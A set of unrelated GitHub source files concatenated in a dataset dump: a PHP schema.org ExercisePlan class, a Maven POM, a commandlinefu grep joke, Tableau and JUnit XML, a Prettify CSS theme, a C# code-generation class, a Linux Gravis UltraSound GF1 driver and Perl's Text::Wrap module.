Schema.org composed Property Expected Types * * @var array */ static public $schemaPropertyExpectedTypes = []; /** * The Schema.org composed Property Descriptions * * @var array */ static public $schemaPropertyDescriptions = []; /** * The Schema.org composed Google Required Schema for this type * * @var array */ static public $googleRequiredSchema = []; /** * The Schema.org composed Google Recommended Schema for this type * * @var array */ static public $googleRecommendedSchema = []; // Public Properties // ========================================================================= /** * Length of time to engage in the activity. * * @var mixed|Duration|QualitativeValue [schema.org types: Duration, QualitativeValue] */ public $activityDuration; /** * How often one should engage in the activity. * * @var mixed|QualitativeValue|string [schema.org types: QualitativeValue, Text] */ public $activityFrequency; /** * Any additional component of the exercise prescription that may need to be * articulated to the patient. This may include the order of exercises, the * number of repetitions of movement, quantitative distance, progressions over * time, etc. * * @var string [schema.org types: Text] */ public $additionalVariable; /** * Type(s) of exercise or activity, such as strength training, flexibility * training, aerobics, cardiac rehabilitation, etc. * * @var string [schema.org types: Text] */ public $exerciseType; /** * Quantitative measure gauging the degree of force involved in the exercise, * for example, heartbeats per minute. May include the velocity of the * movement. * * @var mixed|QualitativeValue|string [schema.org types: QualitativeValue, Text] */ public $intensity; /** * Number of times one should repeat the activity. * * @var mixed|float|QualitativeValue [schema.org types: Number, QualitativeValue] */ public $repetitions; /** * How often one should break from the activity. * * @var mixed|QualitativeValue|string [schema.org types: QualitativeValue, Text] */ public $restPeriods; /** * Quantitative measure of the physiologic output of the exercise; also * referred to as energy expenditure. * * @var mixed|Energy|QualitativeValue [schema.org types: Energy, QualitativeValue] */ public $workload; // Static Protected Properties // ========================================================================= /** * The Schema.org Property Names * * @var array */ static protected $_schemaPropertyNames = [ 'activityDuration', 'activityFrequency', 'additionalVariable', 'exerciseType', 'intensity', 'repetitions', 'restPeriods', 'workload' ]; /** * The Schema.org Property Expected Types * * @var array */ static protected $_schemaPropertyExpectedTypes = [ 'activityDuration' => ['Duration','QualitativeValue'], 'activityFrequency' => ['QualitativeValue','Text'], 'additionalVariable' => ['Text'], 'exerciseType' => ['Text'], 'intensity' => ['QualitativeValue','Text'], 'repetitions' => ['Number','QualitativeValue'], 'restPeriods' => ['QualitativeValue','Text'], 'workload' => ['Energy','QualitativeValue'] ]; /** * The Schema.org Property Descriptions * * @var array */ static protected $_schemaPropertyDescriptions = [ 'activityDuration' => 'Length of time to engage in the activity.', 'activityFrequency' => 'How often one should engage in the activity.', 'additionalVariable' => 'Any additional component of the exercise prescription that may need to be articulated to the patient. This may include the order of exercises, the number of repetitions of movement, quantitative distance, progressions over time, etc.', 'exerciseType' => 'Type(s) of exercise or activity, such as strength training, flexibility training, aerobics, cardiac rehabilitation, etc.', 'intensity' => 'Quantitative measure gauging the degree of force involved in the exercise, for example, heartbeats per minute. May include the velocity of the movement.', 'repetitions' => 'Number of times one should repeat the activity.', 'restPeriods' => 'How often one should break from the activity.', 'workload' => 'Quantitative measure of the physiologic output of the exercise; also referred to as energy expenditure.' ]; /** * The Schema.org Google Required Schema for this type * * @var array */ static protected $_googleRequiredSchema = [ ]; /** * The Schema.org composed Google Recommended Schema for this type * * @var array */ static protected $_googleRecommendedSchema = [ ]; // Public Methods // ========================================================================= /** * @inheritdoc */ public function init() { parent::init(); self::$schemaPropertyNames = array_merge( parent::$schemaPropertyNames, self::$_schemaPropertyNames ); self::$schemaPropertyExpectedTypes = array_merge( parent::$schemaPropertyExpectedTypes, self::$_schemaPropertyExpectedTypes ); self::$schemaPropertyDescriptions = array_merge( parent::$schemaPropertyDescriptions, self::$_schemaPropertyDescriptions ); self::$googleRequiredSchema = array_merge( parent::$googleRequiredSchema, self::$_googleRequiredSchema ); self::$googleRecommendedSchema = array_merge( parent::$googleRecommendedSchema, self::$_googleRecommendedSchema ); } /** * @inheritdoc */ public function rules() { $rules = parent::rules(); $rules = array_merge($rules, [ [['activityDuration','activityFrequency','additionalVariable','exerciseType','intensity','repetitions','restPeriods','workload'], 'validateJsonSchema'], [self::$_googleRequiredSchema, 'required', 'on' => ['google'], 'message' => 'This property is required by Google.'], [self::$_googleRecommendedSchema, 'required', 'on' => ['google'], 'message' => 'This property is recommended by Google.'] ]); return $rules; } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" standalone="no"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.openhab.bundles</groupId> <artifactId>binding</artifactId> <version>1.15.0-SNAPSHOT</version> </parent> <groupId>org.openhab.binding</groupId> <artifactId>org.openhab.binding.harmonyhub</artifactId> <packaging>eclipse-plugin</packaging> <name>openHAB HarmonyHub Binding</name> </project>
{ "pile_set_name": "Github" }
commandlinefu_id: 14908 translator: weibo: '' hide: true command: |- grep -Pooh .*t..r,.* /etc/init.d/* summary: |- Get a quote from Pooh
{ "pile_set_name": "Github" }
<?xml version='1.0' encoding='UTF-8'?> <tsResponse xmlns="http://tableau.com/api" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tableau.com/api http://tableau.com/api/ts-api-2.3.xsd"> <favorites> <favorite> <datasource id="e76a1461-3b1d-4588-bf1b-17551a879ad9" name="SampleDS" contentUrl="SampleDS" type="dataengine" createdAt="2016-08-11T21:22:40Z" updatedAt="2016-08-11T21:34:17Z"> <project id="ee8c6e70-43b6-11e6-af4f-f7b0d8e20760" name="default" /> <owner id="5de011f8-5aa9-4d5b-b991-f462c8dd6bb7" /> <tags /> </datasource> </favorite> </favorites> </tsResponse>
{ "pile_set_name": "Github" }
/*! Color themes for Google Code Prettify | MIT License | github.com/jmblog/color-themes-for-google-code-prettify */ .prettyprint { background: #202746; font-family: Menlo, "Bitstream Vera Sans Mono", "DejaVu Sans Mono", Monaco, Consolas, monospace; border: 0 !important; } .pln { color: #f5f7ff; } /* Specify class=linenums on a pre to get line numbering */ ol.linenums { margin-top: 0; margin-bottom: 0; color: #6b7394; } li.L0, li.L1, li.L2, li.L3, li.L4, li.L5, li.L6, li.L7, li.L8, li.L9 { padding-left: 1em; background-color: #202746; list-style-type: decimal; } @media screen { /* string content */ .str { color: #ac9739; } /* keyword */ .kwd { color: #6679cc; } /* comment */ .com { color: #6b7394; } /* type name */ .typ { color: #3d8fd1; } /* literal value */ .lit { color: #c76b29; } /* punctuation */ .pun { color: #f5f7ff; } /* lisp open bracket */ .opn { color: #f5f7ff; } /* lisp close bracket */ .clo { color: #f5f7ff; } /* markup tag name */ .tag { color: #c94922; } /* markup attribute name */ .atn { color: #c76b29; } /* markup attribute value */ .atv { color: #22a2c9; } /* declaration */ .dec { color: #c76b29; } /* variable name */ .var { color: #c94922; } /* function name */ .fun { color: #3d8fd1; } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <testsuites name="All tests" tests="2" failures="1" errors="0"> <testsuite tests="2" failures="1" errors="0" name="BPSampleAppCrashingTests.xctest"> <testsuite tests="2" failures="1" errors="0" name="BPSampleAppCrashingTests"> <testcase classname="BPSampleAppCrashingTests" name="testAppCrash0"> </testcase> <testcase classname="BPSampleAppCrashingTests" name="testAppCrash1"> <failure type="Failure" message="App Crashed"> Unknown File:0 </failure> <system-out> </system-out> </testcase> </testsuite> </testsuite> </testsuites>
{ "pile_set_name": "Github" }
#region License // // Copyright (c) 2008-2015, Dolittle (http://www.dolittle.com) // // Licensed under the MIT License (http://opensource.org/licenses/MIT) // // You may not use this file except in compliance with the License. // You may obtain a copy of the license at // // http://github.com/dolittle/Bifrost/blob/master/MIT-LICENSE.txt // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #endregion using System.Collections.Generic; using System.IO; namespace Bifrost.CodeGeneration { /// <summary> /// Represents an abstract of a <see cref="ILanguageElement"/> /// </summary> public abstract class LanguageElement : ILanguageElement { /// <summary> /// Gets the <see cref="ILanguageElement">children</see> /// </summary> protected List<ILanguageElement> Children { get; private set; } /// <summary> /// Initializes a new instance of <see cref="LanguageElement"/> /// </summary> protected LanguageElement() { Children = new List<ILanguageElement>(); } #pragma warning disable 1591 public ILanguageElement Parent { get; set; } public abstract void Write(ICodeWriter writer); public void AddChild(ILanguageElement element) { element.Parent = this; Children.Add(element); } #pragma warning restore 1591 /// <summary> /// Write all children to the given <see cref="ICodeWriter"/> /// </summary> /// <param name="writer"><see cref="ICodeWriter"/> to use for writing the children</param> protected void WriteChildren(ICodeWriter writer) { foreach (var child in Children) child.Write(writer); } } }
{ "pile_set_name": "Github" }
/* * Copyright (c) by Jaroslav Kysela <[email protected]> * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #include <linux/delay.h> #include <linux/interrupt.h> #include <linux/time.h> #include <sound/core.h> #include <sound/gus.h> extern void snd_gf1_timers_init(struct snd_gus_card * gus); extern void snd_gf1_timers_done(struct snd_gus_card * gus); extern int snd_gf1_synth_init(struct snd_gus_card * gus); extern void snd_gf1_synth_done(struct snd_gus_card * gus); /* * ok.. default interrupt handlers... */ static void snd_gf1_default_interrupt_handler_midi_out(struct snd_gus_card * gus) { snd_gf1_uart_cmd(gus, gus->gf1.uart_cmd &= ~0x20); } static void snd_gf1_default_interrupt_handler_midi_in(struct snd_gus_card * gus) { snd_gf1_uart_cmd(gus, gus->gf1.uart_cmd &= ~0x80); } static void snd_gf1_default_interrupt_handler_timer1(struct snd_gus_card * gus) { snd_gf1_i_write8(gus, SNDRV_GF1_GB_SOUND_BLASTER_CONTROL, gus->gf1.timer_enabled &= ~4); } static void snd_gf1_default_interrupt_handler_timer2(struct snd_gus_card * gus) { snd_gf1_i_write8(gus, SNDRV_GF1_GB_SOUND_BLASTER_CONTROL, gus->gf1.timer_enabled &= ~8); } static void snd_gf1_default_interrupt_handler_wave_and_volume(struct snd_gus_card * gus, struct snd_gus_voice * voice) { snd_gf1_i_ctrl_stop(gus, 0x00); snd_gf1_i_ctrl_stop(gus, 0x0d); } static void snd_gf1_default_interrupt_handler_dma_write(struct snd_gus_card * gus) { snd_gf1_i_write8(gus, 0x41, 0x00); } static void snd_gf1_default_interrupt_handler_dma_read(struct snd_gus_card * gus) { snd_gf1_i_write8(gus, 0x49, 0x00); } void snd_gf1_set_default_handlers(struct snd_gus_card * gus, unsigned int what) { if (what & SNDRV_GF1_HANDLER_MIDI_OUT) gus->gf1.interrupt_handler_midi_out = snd_gf1_default_interrupt_handler_midi_out; if (what & SNDRV_GF1_HANDLER_MIDI_IN) gus->gf1.interrupt_handler_midi_in = snd_gf1_default_interrupt_handler_midi_in; if (what & SNDRV_GF1_HANDLER_TIMER1) gus->gf1.interrupt_handler_timer1 = snd_gf1_default_interrupt_handler_timer1; if (what & SNDRV_GF1_HANDLER_TIMER2) gus->gf1.interrupt_handler_timer2 = snd_gf1_default_interrupt_handler_timer2; if (what & SNDRV_GF1_HANDLER_VOICE) { struct snd_gus_voice *voice; voice = &gus->gf1.voices[what & 0xffff]; voice->handler_wave = voice->handler_volume = snd_gf1_default_interrupt_handler_wave_and_volume; voice->handler_effect = NULL; voice->volume_change = NULL; } if (what & SNDRV_GF1_HANDLER_DMA_WRITE) gus->gf1.interrupt_handler_dma_write = snd_gf1_default_interrupt_handler_dma_write; if (what & SNDRV_GF1_HANDLER_DMA_READ) gus->gf1.interrupt_handler_dma_read = snd_gf1_default_interrupt_handler_dma_read; } /* */ static void snd_gf1_clear_regs(struct snd_gus_card * gus) { unsigned long flags; spin_lock_irqsave(&gus->reg_lock, flags); inb(GUSP(gus, IRQSTAT)); snd_gf1_write8(gus, 0x41, 0); /* DRAM DMA Control Register */ snd_gf1_write8(gus, 0x45, 0); /* Timer Control */ snd_gf1_write8(gus, 0x49, 0); /* Sampling Control Register */ spin_unlock_irqrestore(&gus->reg_lock, flags); } static void snd_gf1_look_regs(struct snd_gus_card * gus) { unsigned long flags; spin_lock_irqsave(&gus->reg_lock, flags); snd_gf1_look8(gus, 0x41); /* DRAM DMA Control Register */ snd_gf1_look8(gus, 0x49); /* Sampling Control Register */ inb(GUSP(gus, IRQSTAT)); snd_gf1_read8(gus, 0x0f); /* IRQ Source Register */ spin_unlock_irqrestore(&gus->reg_lock, flags); } /* * put selected GF1 voices to initial stage... */ void snd_gf1_smart_stop_voice(struct snd_gus_card * gus, unsigned short voice) { unsigned long flags; spin_lock_irqsave(&gus->reg_lock, flags); snd_gf1_select_voice(gus, voice); #if 0 printk(KERN_DEBUG " -%i- smart stop voice - volume = 0x%x\n", voice, snd_gf1_i_read16(gus, SNDRV_GF1_VW_VOLUME)); #endif snd_gf1_ctrl_stop(gus, SNDRV_GF1_VB_ADDRESS_CONTROL); snd_gf1_ctrl_stop(gus, SNDRV_GF1_VB_VOLUME_CONTROL); spin_unlock_irqrestore(&gus->reg_lock, flags); } void snd_gf1_stop_voice(struct snd_gus_card * gus, unsigned short voice) { unsigned long flags; spin_lock_irqsave(&gus->reg_lock, flags); snd_gf1_select_voice(gus, voice); #if 0 printk(KERN_DEBUG " -%i- stop voice - volume = 0x%x\n", voice, snd_gf1_i_read16(gus, SNDRV_GF1_VW_VOLUME)); #endif snd_gf1_ctrl_stop(gus, SNDRV_GF1_VB_ADDRESS_CONTROL); snd_gf1_ctrl_stop(gus, SNDRV_GF1_VB_VOLUME_CONTROL); if (gus->gf1.enh_mode) snd_gf1_write8(gus, SNDRV_GF1_VB_ACCUMULATOR, 0); spin_unlock_irqrestore(&gus->reg_lock, flags); #if 0 snd_gf1_lfo_shutdown(gus, voice, ULTRA_LFO_VIBRATO); snd_gf1_lfo_shutdown(gus, voice, ULTRA_LFO_TREMOLO); #endif } static void snd_gf1_clear_voices(struct snd_gus_card * gus, unsigned short v_min, unsigned short v_max) { unsigned long flags; unsigned int daddr; unsigned short i, w_16; daddr = gus->gf1.default_voice_address << 4; for (i = v_min; i <= v_max; i++) { #if 0 if (gus->gf1.syn_voices) gus->gf1.syn_voices[i].flags = ~VFLG_DYNAMIC; #endif spin_lock_irqsave(&gus->reg_lock, flags); snd_gf1_select_voice(gus, i); snd_gf1_ctrl_stop(gus, SNDRV_GF1_VB_ADDRESS_CONTROL); /* Voice Control Register = voice stop */ snd_gf1_ctrl_stop(gus, SNDRV_GF1_VB_VOLUME_CONTROL); /* Volume Ramp Control Register = ramp off */ if (gus->gf1.enh_mode) snd_gf1_write8(gus, SNDRV_GF1_VB_MODE, gus->gf1.memory ? 0x02 : 0x82); /* Deactivate voice */ w_16 = snd_gf1_read8(gus, SNDRV_GF1_VB_ADDRESS_CONTROL) & 0x04; snd_gf1_write16(gus, SNDRV_GF1_VW_FREQUENCY, 0x400); snd_gf1_write_addr(gus, SNDRV_GF1_VA_START, daddr, w_16); snd_gf1_write_addr(gus, SNDRV_GF1_VA_END, daddr, w_16); snd_gf1_write8(gus, SNDRV_GF1_VB_VOLUME_START, 0); snd_gf1_write8(gus, SNDRV_GF1_VB_VOLUME_END, 0); snd_gf1_write8(gus, SNDRV_GF1_VB_VOLUME_RATE, 0); snd_gf1_write16(gus, SNDRV_GF1_VW_VOLUME, 0); snd_gf1_write_addr(gus, SNDRV_GF1_VA_CURRENT, daddr, w_16); snd_gf1_write8(gus, SNDRV_GF1_VB_PAN, 7); if (gus->gf1.enh_mode) { snd_gf1_write8(gus, SNDRV_GF1_VB_ACCUMULATOR, 0); snd_gf1_write16(gus, SNDRV_GF1_VW_EFFECT_VOLUME, 0); snd_gf1_write16(gus, SNDRV_GF1_VW_EFFECT_VOLUME_FINAL, 0); } spin_unlock_irqrestore(&gus->reg_lock, flags); #if 0 snd_gf1_lfo_shutdown(gus, i, ULTRA_LFO_VIBRATO); snd_gf1_lfo_shutdown(gus, i, ULTRA_LFO_TREMOLO); #endif } } void snd_gf1_stop_voices(struct snd_gus_card * gus, unsigned short v_min, unsigned short v_max) { unsigned long flags; short i, ramp_ok; unsigned short ramp_end; if (!in_interrupt()) { /* this can't be done in interrupt */ for (i = v_min, ramp_ok = 0; i <= v_max; i++) { spin_lock_irqsave(&gus->reg_lock, flags); snd_gf1_select_voice(gus, i); ramp_end = snd_gf1_read16(gus, 9) >> 8; if (ramp_end > SNDRV_GF1_MIN_OFFSET) { ramp_ok++; snd_gf1_write8(gus, SNDRV_GF1_VB_VOLUME_RATE, 20); /* ramp rate */ snd_gf1_write8(gus, SNDRV_GF1_VB_VOLUME_START, SNDRV_GF1_MIN_OFFSET); /* ramp start */ snd_gf1_write8(gus, SNDRV_GF1_VB_VOLUME_END, ramp_end); /* ramp end */ snd_gf1_write8(gus, SNDRV_GF1_VB_VOLUME_CONTROL, 0x40); /* ramp down */ if (gus->gf1.enh_mode) { snd_gf1_delay(gus); snd_gf1_write8(gus, SNDRV_GF1_VB_VOLUME_CONTROL, 0x40); } } spin_unlock_irqrestore(&gus->reg_lock, flags); } msleep_interruptible(50); } snd_gf1_clear_voices(gus, v_min, v_max); } static void snd_gf1_alloc_voice_use(struct snd_gus_card * gus, struct snd_gus_voice * pvoice, int type, int client, int port) { pvoice->use = 1; switch (type) { case SNDRV_GF1_VOICE_TYPE_PCM: gus->gf1.pcm_alloc_voices++; pvoice->pcm = 1; break; case SNDRV_GF1_VOICE_TYPE_SYNTH: pvoice->synth = 1; pvoice->client = client; pvoice->port = port; break; case SNDRV_GF1_VOICE_TYPE_MIDI: pvoice->midi = 1; pvoice->client = client; pvoice->port = port; break; } } struct snd_gus_voice *snd_gf1_alloc_voice(struct snd_gus_card * gus, int type, int client, int port) { struct snd_gus_voice *pvoice; unsigned long flags; int idx; spin_lock_irqsave(&gus->voice_alloc, flags); if (type == SNDRV_GF1_VOICE_TYPE_PCM) { if (gus->gf1.pcm_alloc_voices >= gus->gf1.pcm_channels) { spin_unlock_irqrestore(&gus->voice_alloc, flags); return NULL; } } for (idx = 0; idx < 32; idx++) { pvoice = &gus->gf1.voices[idx]; if (!pvoice->use) { snd_gf1_alloc_voice_use(gus, pvoice, type, client, port); spin_unlock_irqrestore(&gus->voice_alloc, flags); return pvoice; } } for (idx = 0; idx < 32; idx++) { pvoice = &gus->gf1.voices[idx]; if (pvoice->midi && !pvoice->client) { snd_gf1_clear_voices(gus, pvoice->number, pvoice->number); snd_gf1_alloc_voice_use(gus, pvoice, type, client, port); spin_unlock_irqrestore(&gus->voice_alloc, flags); return pvoice; } } spin_unlock_irqrestore(&gus->voice_alloc, flags); return NULL; } void snd_gf1_free_voice(struct snd_gus_card * gus, struct snd_gus_voice *voice) { unsigned long flags; void (*private_free)(struct snd_gus_voice *voice); void *private_data; if (voice == NULL || !voice->use) return; snd_gf1_set_default_handlers(gus, SNDRV_GF1_HANDLER_VOICE | voice->number); snd_gf1_clear_voices(gus, voice->number, voice->number); spin_lock_irqsave(&gus->voice_alloc, flags); private_free = voice->private_free; private_data = voice->private_data; voice->private_free = NULL; voice->private_data = NULL; if (voice->pcm) gus->gf1.pcm_alloc_voices--; voice->use = voice->pcm = 0; voice->sample_ops = NULL; spin_unlock_irqrestore(&gus->voice_alloc, flags); if (private_free) private_free(voice); } /* * call this function only by start of driver */ int snd_gf1_start(struct snd_gus_card * gus) { unsigned long flags; unsigned int i; snd_gf1_i_write8(gus, SNDRV_GF1_GB_RESET, 0); /* reset GF1 */ udelay(160); snd_gf1_i_write8(gus, SNDRV_GF1_GB_RESET, 1); /* disable IRQ & DAC */ udelay(160); snd_gf1_i_write8(gus, SNDRV_GF1_GB_JOYSTICK_DAC_LEVEL, gus->joystick_dac); snd_gf1_set_default_handlers(gus, SNDRV_GF1_HANDLER_ALL); for (i = 0; i < 32; i++) { gus->gf1.voices[i].number = i; snd_gf1_set_default_handlers(gus, SNDRV_GF1_HANDLER_VOICE | i); } snd_gf1_uart_cmd(gus, 0x03); /* huh.. this cleanup took me some time... */ if (gus->gf1.enh_mode) { /* enhanced mode !!!! */ snd_gf1_i_write8(gus, SNDRV_GF1_GB_GLOBAL_MODE, snd_gf1_i_look8(gus, SNDRV_GF1_GB_GLOBAL_MODE) | 0x01); snd_gf1_i_write8(gus, SNDRV_GF1_GB_MEMORY_CONTROL, 0x01); } snd_gf1_clear_regs(gus); snd_gf1_select_active_voices(gus); snd_gf1_delay(gus); gus->gf1.default_voice_address = gus->gf1.memory > 0 ? 0 : 512 - 8; /* initialize LFOs & clear LFOs memory */ if (gus->gf1.enh_mode && gus->gf1.memory) { gus->gf1.hw_lfo = 1; gus->gf1.default_voice_address += 1024; } else { gus->gf1.sw_lfo = 1; } #if 0 snd_gf1_lfo_init(gus); #endif if (gus->gf1.memory > 0) for (i = 0; i < 4; i++) snd_gf1_poke(gus, gus->gf1.default_voice_address + i, 0); snd_gf1_clear_regs(gus); snd_gf1_clear_voices(gus, 0, 31); snd_gf1_look_regs(gus); udelay(160); snd_gf1_i_write8(gus, SNDRV_GF1_GB_RESET, 7); /* Reset Register = IRQ enable, DAC enable */ udelay(160); snd_gf1_i_write8(gus, SNDRV_GF1_GB_RESET, 7); /* Reset Register = IRQ enable, DAC enable */ if (gus->gf1.enh_mode) { /* enhanced mode !!!! */ snd_gf1_i_write8(gus, SNDRV_GF1_GB_GLOBAL_MODE, snd_gf1_i_look8(gus, SNDRV_GF1_GB_GLOBAL_MODE) | 0x01); snd_gf1_i_write8(gus, SNDRV_GF1_GB_MEMORY_CONTROL, 0x01); } while ((snd_gf1_i_read8(gus, SNDRV_GF1_GB_VOICES_IRQ) & 0xc0) != 0xc0); spin_lock_irqsave(&gus->reg_lock, flags); outb(gus->gf1.active_voice = 0, GUSP(gus, GF1PAGE)); outb(gus->mix_cntrl_reg, GUSP(gus, MIXCNTRLREG)); spin_unlock_irqrestore(&gus->reg_lock, flags); snd_gf1_timers_init(gus); snd_gf1_look_regs(gus); snd_gf1_mem_init(gus); snd_gf1_mem_proc_init(gus); #ifdef CONFIG_SND_DEBUG snd_gus_irq_profile_init(gus); #endif #if 0 if (gus->pnp_flag) { if (gus->chip.playback_fifo_size > 0) snd_gf1_i_write16(gus, SNDRV_GF1_GW_FIFO_RECORD_BASE_ADDR, gus->chip.playback_fifo_block->ptr >> 8); if (gus->chip.record_fifo_size > 0) snd_gf1_i_write16(gus, SNDRV_GF1_GW_FIFO_PLAY_BASE_ADDR, gus->chip.record_fifo_block->ptr >> 8); snd_gf1_i_write16(gus, SNDRV_GF1_GW_FIFO_SIZE, gus->chip.interwave_fifo_reg); } #endif return 0; } /* * call this function only by shutdown of driver */ int snd_gf1_stop(struct snd_gus_card * gus) { snd_gf1_i_write8(gus, SNDRV_GF1_GB_SOUND_BLASTER_CONTROL, 0); /* stop all timers */ snd_gf1_stop_voices(gus, 0, 31); /* stop all voices */ snd_gf1_i_write8(gus, SNDRV_GF1_GB_RESET, 1); /* disable IRQ & DAC */ snd_gf1_timers_done(gus); snd_gf1_mem_done(gus); #if 0 snd_gf1_lfo_done(gus); #endif return 0; }
{ "pile_set_name": "Github" }
package Text::Wrap; use warnings::register; require Exporter; @ISA = qw(Exporter); @EXPORT = qw(wrap fill); @EXPORT_OK = qw($columns $break $huge); $VERSION = 2013.0523; $SUBVERSION = 'modern'; use 5.010_000; use vars qw($VERSION $SUBVERSION $columns $debug $break $huge $unexpand $tabstop $separator $separator2); use strict; BEGIN { $columns = 76; # <= screen width $debug = 0; $break = '(?=\s)\X'; $huge = 'wrap'; # alternatively: 'die' or 'overflow' $unexpand = 1; $tabstop = 8; $separator = "\n"; $separator2 = undef; } my $CHUNK = qr/\X/; sub _xlen(_) { scalar(() = $_[0] =~ /$CHUNK/g) } sub _xpos(_) { _xlen( substr( $_[0], 0, pos($_[0]) ) ) } use Text::Tabs qw(expand unexpand); sub wrap { my ($ip, $xp, @t) = @_; local($Text::Tabs::tabstop) = $tabstop; my $r = ""; my $tail = pop(@t); my $t = expand(join("", (map { /\s+\z/ ? ( $_ ) : ($_, ' ') } @t), $tail)); my $lead = $ip; my $nll = $columns - _xlen(expand($xp)) - 1; if ($nll <= 0 && $xp ne '') { my $nc = _xlen(expand($xp)) + 2; warnings::warnif "Increasing \$Text::Wrap::columns from $columns to $nc to accommodate length of subsequent tab"; $columns = $nc; $nll = 1; } my $ll = $columns - _xlen(expand($ip)) - 1; $ll = 0 if $ll < 0; my $nl = ""; my $remainder = ""; use re 'taint'; pos($t) = 0; while ($t !~ /\G(?:$break)*\Z/gc) { if ($t =~ /\G((?:(?=[^\n])\X){0,$ll})($break|\n+|\z)/xmgc) { $r .= $unexpand ? unexpand($nl . $lead . $1) : $nl . $lead . $1; $remainder = $2; } elsif ($huge eq 'wrap' && $t =~ /\G((?:(?=[^\n])\X){$ll})/gc) { $r .= $unexpand ? unexpand($nl . $lead . $1) : $nl . $lead . $1; $remainder = defined($separator2) ? $separator2 : $separator; } elsif ($huge eq 'overflow' && $t =~ /\G((?:(?=[^\n])\X)*?)($break|\n+|\z)/xmgc) { $r .= $unexpand ? unexpand($nl . $lead . $1) : $nl . $lead . $1; $remainder = $2; } elsif ($huge eq 'die') { die "couldn't wrap '$t'"; } elsif ($columns < 2) { warnings::warnif "Increasing \$Text::Wrap::columns from $columns to 2"; $columns = 2; return ($ip, $xp, @t); } else { die "This shouldn't happen"; } $lead = $xp; $ll = $nll; $nl = defined($separator2) ? ($remainder eq "\n" ? "\n" : $separator2) : $separator; } $r .= $remainder; print "-----------$r---------\n" if $debug; print "Finish up with '$lead'\n" if $debug; my($opos) = pos($t); $r .= $lead . substr($t, pos($t), length($t) - pos($t)) if pos($t) ne length($t); print "-----------$r---------\n" if $debug;; return $r; } sub fill { my ($ip, $xp, @raw) = @_; my @para; my $pp; for $pp (split(/\n\s+/, join("\n",@raw))) { $pp =~ s/\s+/ /g; my $x = wrap($ip, $xp, $pp); push(@para, $x); } # if paragraph_indent is the same as line_indent, # separate paragraphs with blank lines my $ps = ($ip eq $xp) ? "\n\n" : "\n"; return join ($ps, @para); } 1; __END__ =head1 NAME Text::Wrap - line wrapping to form simple paragraphs =head1 SYNOPSIS B<Example 1> use Text::Wrap; $initial_tab = "\t"; # Tab before first line $subsequent_tab = ""; # All other lines flush left print wrap($initial_tab, $subsequent_tab, @text); print fill($initial_tab, $subsequent_tab, @text); $lines = wrap($initial_tab, $subsequent_tab, @text); @paragraphs = fill($initial_tab, $subsequent_tab, @text); B<Example 2> use Text::Wrap qw(wrap $columns $huge); $columns = 132; # Wrap at 132 characters $huge = 'die'; $huge = 'wrap'; $huge = 'overflow'; B<Example 3> use Text::Wrap; $Text::Wrap::columns = 72; print wrap('', '', @text); =head1 DESCRIPTION C<Text::Wrap::wrap()> is a very simple paragraph formatter. It formats a single paragraph at a time by breaking lines at word boundaries. Indentation is controlled for the first line (C<$initial_tab>) and all subsequent lines (C<$subsequent_tab>) independently. Please note: C<$initial_tab> and C<$subsequent_tab> are the literal strings that will be used: it is unlikely you would want to pass in a number. C<Text::Wrap::fill()> is a simple multi-paragraph formatter. It formats each paragraph separately and then joins them together when it's done. It will destroy any whitespace in the original text. It breaks text into paragraphs by looking for whitespace after a newline. In other respects, it acts like wrap(). C<wrap()> compresses trailing whitespace into one newline, and C<fill()> deletes all trailing whitespace. Both C<wrap()> and C<fill()> return a single string. Unlike the old Unix fmt(1) utility, this module correctly accounts for any Unicode combining characters (such as diacriticals) that may occur in each line for both expansion and unexpansion. These are overstrike characters that do not increment the logical position. Make sure you have the appropriate Unicode settings enabled. =head1 OVERRIDES C<Text::Wrap::wrap()> has a number of variables that control its behavior. Because other modules might be using C<Text::Wrap::wrap()> it is suggested that you leave these variables alone! If you can't do that, then use C<local($Text::Wrap::VARIABLE) = YOURVALUE> when you change the values so that the original value is restored. This C<local()> trick will not work if you import the variable into your own namespace. Lines are wrapped at C<$Text::Wrap::columns> columns (default value: 76). C<$Text::Wrap::columns> should be set to the full width of your output device. In fact, every resulting line will have length of no more than C<$columns - 1>. It is possible to control which characters terminate words by modifying C<$Text::Wrap::break>. Set this to a string such as C<'[\s:]'> (to break before spaces or colons) or a pre-compiled regexp such as C<qr/[\s']/> (to break before spaces or apostrophes). The default is simply C<'\s'>; that is, words are terminated by spaces. (This means, among other things, that trailing punctuation such as full stops or commas stay with the word they are "attached" to.) Setting C<$Text::Wrap::break> to a regular expression that doesn't eat any characters (perhaps just a forward look-ahead assertion) will cause warnings. Beginner note: In example 2, above C<$columns> is imported into the local namespace, and set locally. In example 3, C<$Text::Wrap::columns> is set in its own namespace without importing it. C<Text::Wrap::wrap()> starts its work by expanding all the tabs in its input into spaces. The last thing it does it to turn spaces back into tabs. If you do not want tabs in your results, set C<$Text::Wrap::unexpand> to a false value. Likewise if you do not want to use 8-character tabstops, set C<$Text::Wrap::tabstop> to the number of characters you do want for your tabstops. If you want to separate your lines with something other than C<\n> then set C<$Text::Wrap::separator> to your preference. This replaces all newlines with C<$Text::Wrap::separator>. If you just want to preserve existing newlines but add new breaks with something else, set C<$Text::Wrap::separator2> instead. When words that are longer than C<$columns> are encountered, they are broken up. C<wrap()> adds a C<"\n"> at column C<$columns>. This behavior can be overridden by setting C<$huge> to 'die' or to 'overflow'. When set to 'die', large words will cause C<die()> to be called. When set to 'overflow', large words will be left intact. Historical notes: 'die' used to be the default value of C<$huge>. Now, 'wrap' is the default value. =head1 EXAMPLES 